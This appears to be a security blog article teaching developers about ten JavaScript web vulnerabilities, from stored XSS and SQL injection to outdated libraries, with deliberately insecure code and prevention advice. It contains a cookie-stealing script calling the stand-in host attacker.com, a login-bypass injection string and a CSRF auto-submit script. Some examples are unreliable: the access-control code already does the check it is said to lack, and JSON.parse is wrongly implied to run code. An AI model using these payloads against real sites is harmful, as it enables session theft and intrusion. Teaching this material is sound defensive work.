10 security vulnerabilities every JavaScript developer should know in 2024
1. Stored XSS
Imagine you're using a social media website where users can post messages or comments. Now, suppose the website doesn't properly validate or sanitize the input it receives from users before displaying it to others.
Stored XSS occurs when a malicious user injects a script into the website, and that script gets stored on the server. Later, when other users view the page with the compromised content, the script executes in their browsers without their knowledge.
<!-- User's profile page -->
<h2>Welcome, User123!</h2>
<p>Your latest post:</p>
<div id\="user-post">
<!-- Malicious script injected by an attacker -->
<script>
// Malicious code to steal user's session cookie
var maliciousScript = new Image();
maliciousScript.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
<!-- User's innocent post content -->
I love sharing content on this amazing site!
</div>
In this example, the attacker has injected a script into their own post, which is stored on the server. When other users visit the attacker's profile or the page where the post is displayed, the malicious script runs in their browsers, sending their session cookie to the attacker's server. With the stolen session cookie, the attacker can potentially impersonate the user and perform actions on their behalf.
To prevent Stored XSS, websites should validate and sanitize user input and encode any user-generated content before displaying it. This ensures that even if malicious scripts are injected, they won't be executed in the context of other users' browsers.
2. SQL injection
SQL injection is a type of cyber attack where an attacker can manipulate a website's database by injecting malicious SQL code into the input fields of a form or URL parameters. This can lead to unauthorized access, data manipulation, or even deletion of data within the database.
Let's look at a real-world example using JavaScript. Suppose you have a simple login form on a website that takes a username and password, and the server uses JavaScript to process the input and authenticate the user. The server-side code might look something like this in a simplified form:
const username = getRequestParameter('username'); // Get username from the request
const password = getRequestParameter('password'); // Get password from the request
const query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
// Execute the SQL query and check if there is a matching user
const result = executeQuery(query);
if (result) {
// User authenticated successfully
sendResponse("Login successful");
} else {
// Authentication failed
sendResponse("Invalid username or password");
}
In the above code, the `getRequestParameter` function is used to retrieve the values of the username and password from the user input. The problem arises when an attacker decides to manipulate these input fields. Let's say the attacker enters the following as the username:
```' OR '1'='1' --```
Now, the modified SQL query becomes:
```SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''```
In this case, the attacker has essentially commented out the rest of the original query by using the double dash (--
). The condition '1'='1'
always evaluates to true, so the query becomes a valid one that retrieves all users from the database. This allows the attacker to bypass the authentication and gain unauthorized access.
To prevent SQL injection, it's crucial to use parameterized queries or prepared statements, which ensure that user input is treated as data rather than executable code. This helps to protect the database from malicious injection attempts.
3. Cross site request forgery (CSRF)
Imagine you have an account on a shopping website, and you're logged in. Now, you visit another website that has some malicious code. Unbeknownst to you, that code is designed to make your browser perform actions on the shopping website without your consent.
In technical terms, CSRF is an attack where an attacker tricks a user's browser into making a request to a web application on which the user is authenticated. This can lead to unintended actions being taken on the user's behalf.
Now, let's look at a real-world example using JavaScript. Suppose you're logged into your banking website, and the website uses a simple form to transfer money. The HTML for the form might look like this:
<form id="transferForm" action="/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="toAccount" value="attackerAccount">
<input type="submit" value="Transfer Money">
</form>
```
The attacker creates a website with the following JavaScript code:
``` document.addEventListener("DOMContentLoaded", function() {
var form = document.getElementById("transferForm");
form.submit(); // Automatically submit the form
});```
Now, if you, as the unsuspecting user, visit the attacker's website while still logged into your banking site, the JavaScript code on the attacker's site will automatically submit the hidden form on your behalf. Since you're authenticated on the banking site, the transfer request will go through without your knowledge or consent.
This is a simplified example, but it illustrates the essence of a CSRF attack – making a user act on a different website without their explicit approval, taking advantage of their existing authenticated sessions on the target site. To prevent CSRF attacks, web applications often use tokens or other mechanisms to ensure that the requests are legitimate and initiated by the user.
4. Insecure direct object reference (IDOR)
Imagine you're on a website that lets you view your personal profile by entering your user ID. The website uses JavaScript code to fetch and display your profile information. Now, a well-designed website should only show you your own data and not allow you to access someone else's information, right?
Insecure Direct Object References come into play when there's a flaw in the website's security, and it doesn't properly check if you have the right permissions to access certain data. Let me give you an example in JavaScript:
// This is a simplified example for illustration purposes
// Assume this function is called when a user tries to view their profile
function viewUserProfile(userId) {
// Here, userId is the parameter passed to the function
// The website should check if the logged-in user has the right to access this userId's profile
// Insecure implementation: No proper authorization check
let userProfile = fetchUserProfile(userId);
// Display the user's profile information
console.log("User Profile: ", userProfile);
}
// Function to fetch user profile from the server
function fetchUserProfile(userId) {
// Simulated database with user profiles
let database = {
'user123': { name: 'John Doe', email: '[email protected]' },
'user456': { name: 'Jane Smith', email: '[email protected]' },
// More user profiles...
};
// Fetch the user profile from the database
return database[userId];
}
In the above example, the viewUserProfile
function takes a userId
as a parameter and fetches the user profile using the fetchUserProfile
function. However, there's a crucial security flaw – there's no proper check to ensure that the current user has the right to access the requested userId
. If the website doesn't validate whether the user making the request is the owner of the profile or has the necessary permissions, it becomes vulnerable to IDOR.
An attacker could manipulate the userId
parameter to view other users' profiles without proper authorization. For instance, by changing the userId
parameter to 'user456', they could access Jane Smith's profile even if they shouldn't have that privilege.
To secure against IDOR, a website should always validate the user's permissions before providing access to sensitive data.
5. Server-Side Request Forgery (SSRF):
Server-Side Request Forgery (SSRF). SSRF is a vulnerability that occurs when a web application allows an attacker to make requests to other parts of the server or internal resources that they shouldn't have access to.
Let's relate this to JavaScript. Imagine you have a website where users can input a URL, and your server fetches the content from that URL. Here's a simplified JavaScript code snippet:
const express = require('express');
const axios = require('axios');
const app = express();
const port = 3000;
app.get('/fetch', async (req, res) => {
const url = req.query.url;
try {
const response = await axios.get(url);
res.send(response.data);
} catch (error) {
res.status(500).send('Error fetching the URL');
}
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
In this example, users can input a URL, and the server fetches and returns the content from that URL using the Axios library. However, if there's no proper validation or restriction, an attacker might input a malicious URL that targets internal resources, like this:
http://localhost:3000/fetch?url=http://internal-server/internal-resource
If the server doesn't validate the input properly, it might fetch and reveal sensitive information from internal resources, leading to unauthorized access.
To prevent SSRF, it's crucial to validate and sanitize user inputs, and limit the server's access to external resources. Just like a restaurant should only allow you to order items from their menu, a web application should restrict user input to prevent unauthorized access to internal resources.
6. Unvalidated Redirects and Forwards:
Imagine you have a website with a login page. After users log in, they are typically redirected to another page, such as a dashboard. Now, let's say the website has a feature where users can customize their login redirect URL. This customization might be misused if it's not properly validated.
Unvalidated Redirects and Forwards occur when a web application allows users to navigate to a different page or website without properly checking or validating the destination. This can be exploited by attackers to redirect users to malicious websites, phishing pages, or other harmful locations.
Now, let's consider a simple JavaScript example where a website allows users to customize their post-login redirect URL without proper validation:
// This is a simplified example for illustration purposes
// Function to handle user login
function login(username, password) {
// Perform authentication logic
// Get the redirect URL from user input (insecure way, for illustration)
var redirectURL = getUserInputRedirectURL();
// Redirect the user without proper validation
window.location.href = redirectURL;
}
// Function to get user input for redirect URL (insecure way, for illustration)
function getUserInputRedirectURL() {
// In a real-world scenario, this would come from user input, database, etc.
var userInput = prompt("Enter the redirect URL:");
return userInput;
}
In this example, the login
function takes a username and password and redirects the user to a URL obtained from user input. However, there is no validation on the input URL. An attacker could potentially craft a malicious URL and trick users into visiting harmful sites.
To prevent Unvalidated Redirects and Forwards, it's crucial to validate and sanitize user input, especially when dealing with redirect URLs. Ensure that the provided URL is a trusted and allowed destination, rather than blindly redirecting users based on unvalidated input. Always prioritize security to protect users from potential phishing attacks or other malicious activities.
7. Insecure Deserialization
Serialization is the process of converting data into a format that can be easily transmitted or stored, like converting an object in a programming language into a string of bytes. Deserialization, on the other hand, is the reverse process – taking that string of bytes and turning it back into an object.
Now, insecure deserialization is a vulnerability that occurs when this process isn't handled securely. Imagine you have a web application where user data is serialized and stored in cookies or other data stores. If an attacker can manipulate that serialized data in a way that the application doesn't expect, it can lead to some serious security issues.
Let's go through a real-world example using JavaScript. Consider a simple Node.js application that stores user data in a session cookie. Here's a simplified version of the code:
// Server-side code
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.get('/profile', (req, res) => {
const serializedUserData = req.cookies.user;
// Insecure deserialization - converting the serialized data back to an object
const userData = JSON.parse(serializedUserData);
// Process user data and send a response
// ...
res.send('Profile page');
});
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
In this example, the user's data is serialized into JSON format and stored in a cookie. When the user visits the '/profile' endpoint, the server retrieves the serialized data, deserializes it using JSON.parse
, and processes the user's profile.
Now, imagine an attacker manipulates the serialized data in their cookie to include malicious code:
{
"username": "user123",
"isAdmin": true,
"maliciousCode": "() => { /* malicious actions */ }"
}
If the server blindly deserializes this data without proper validation, it could end up executing the attacker's malicious code. This is a classic example of insecure deserialization.
To prevent this, developers should validate and sanitize the deserialized data, ensuring it meets the expected criteria before processing it. This helps to mitigate the risk of code execution from manipulated serialized data.
8. Insufficient Logging and Monitoring
One crucial aspect of security is keeping track of what's happening on your site, like who's logging in, what actions they're taking, and if there are any suspicious activities. That's where logging and monitoring come in.
Insufficient logging and monitoring essentially means that your website or application isn't keeping a thorough record of events and isn't actively watching for potential issues. This lack of oversight can make it easier for attackers to go undetected.
Let's break it down with a real-world example in JavaScript:
Suppose you have a login system on your website, and you want to log failed login attempts to identify potential security threats. Here's an example of insufficient logging and monitoring in JavaScript:
// Incomplete logging
function login(username, password) {
if (checkCredentials(username, password)) {
// Successful login
logEvent('Successful login by ' + username);
return 'Welcome, ' + username + '!';
} else {
// Failed login
logEvent('Failed login attempt by ' + username);
return 'Invalid credentials. Please try again.';
}
}
function logEvent(message) {
// Incomplete logging - only logs to console
console.log(message);
// Should also log to a server or a dedicated logging system
// for proper monitoring and analysis
}
In this example, the logEvent
function only logs the event to the console. This is insufficient because it doesn't store the logs in a secure location or notify administrators about potential security threats. Without proper monitoring, you might miss important signs of a cyber attack, such as multiple failed login attempts.
To address insufficient logging and monitoring, you should enhance the logging mechanism to store logs securely and set up a monitoring system that alerts administrators when suspicious activities occur. This way, you can stay on top of potential security threats and take action before they become serious issues.
9. Missing Function Level Access Control:
Sure, let's break down what "Missing Function Level Access Control" means in a simple way.
Imagine you have a website with different levels of access for users. Some users might be regular members, while others have admin privileges with additional functions. "Function Level Access Control" refers to the idea that certain functions or actions in a system should only be accessible to specific users based on their role or level of authorization.
Now, the term "Missing Function Level Access Control" indicates a security issue where the proper checks and controls to restrict access to certain functions are not in place. In other words, the system fails to verify whether a user attempting to perform a specific action actually has the authorization to do so.
Let's look at a basic example in JavaScript:
// Assume these are user roles
const ROLES = {
GUEST: 'guest',
MEMBER: 'member',
ADMIN: 'admin'
};
// This function represents a sensitive operation, accessible only to admins
function adminOnlyFunction() {
console.log("This is an admin-only function.");
}
// Function to perform some action based on the user's role
function performAction(userRole) {
if (userRole === ROLES.ADMIN) {
adminOnlyFunction();
} else {
console.log("You don't have permission to perform this action.");
}
}
// Example usage
performAction(ROLES.MEMBER); // This should deny access for a regular member
In this example, adminOnlyFunction
should only be accessible by users with the role of 'admin'. However, the performAction
function fails to properly check the user's role before allowing access to adminOnlyFunction
. This oversight could lead to unauthorized users executing sensitive operations.
To fix this, proper access control checks should be implemented in the performAction
function to ensure that only users with the appropriate roles can access specific functions. This helps prevent unauthorized access and enhances the security of the application
10. Use of Outdated Libraries and Frameworks:
In the world of programming, especially in languages like JavaScript, developers often use libraries and frameworks to make their code more efficient and easier to manage. These tools get updated regularly to fix bugs, enhance security, and introduce new features.
"Missing use of outdated libraries and frameworks" refers to the situation where a developer is still using an older version of a library or framework even though a newer, improved version is available. This can lead to various issues, including security vulnerabilities, performance bottlenecks, and missing out on the latest features.
Let's dive into a real-world example in JavaScript:
Imagine you're building a website using an older version of a popular JavaScript library for handling user interfaces. The library has been updated several times since you started your project, with each update addressing security concerns and improving performance.
// Using an outdated version of the UI library
import OutdatedUILibrary from 'outdated-ui-library';
const button = new OutdatedUILibrary.Button('Click me');
button.render();
Now, let's say the library has released a new version that includes optimizations, security patches, and additional features:
// Updated version of the UI library
import UpdatedUILibrary from 'updated-ui-library';
const button = new UpdatedUILibrary.Button('Click me');
button.render();
By sticking with the outdated library, you're missing out on these improvements and exposing your project to potential security risks. It's like baking your chocolate chip cookies with an old recipe when there's a tastier and safer version available.
In summary, not using the latest versions of libraries and frameworks in your code is akin to clinging to an outdated recipe when there's a better and more secure one available. Keeping your tools up-to-date ensures that your code stays efficient, and secure, and takes advantage of the latest advancements in the programming world.

Robin Joseph
Head of Security testing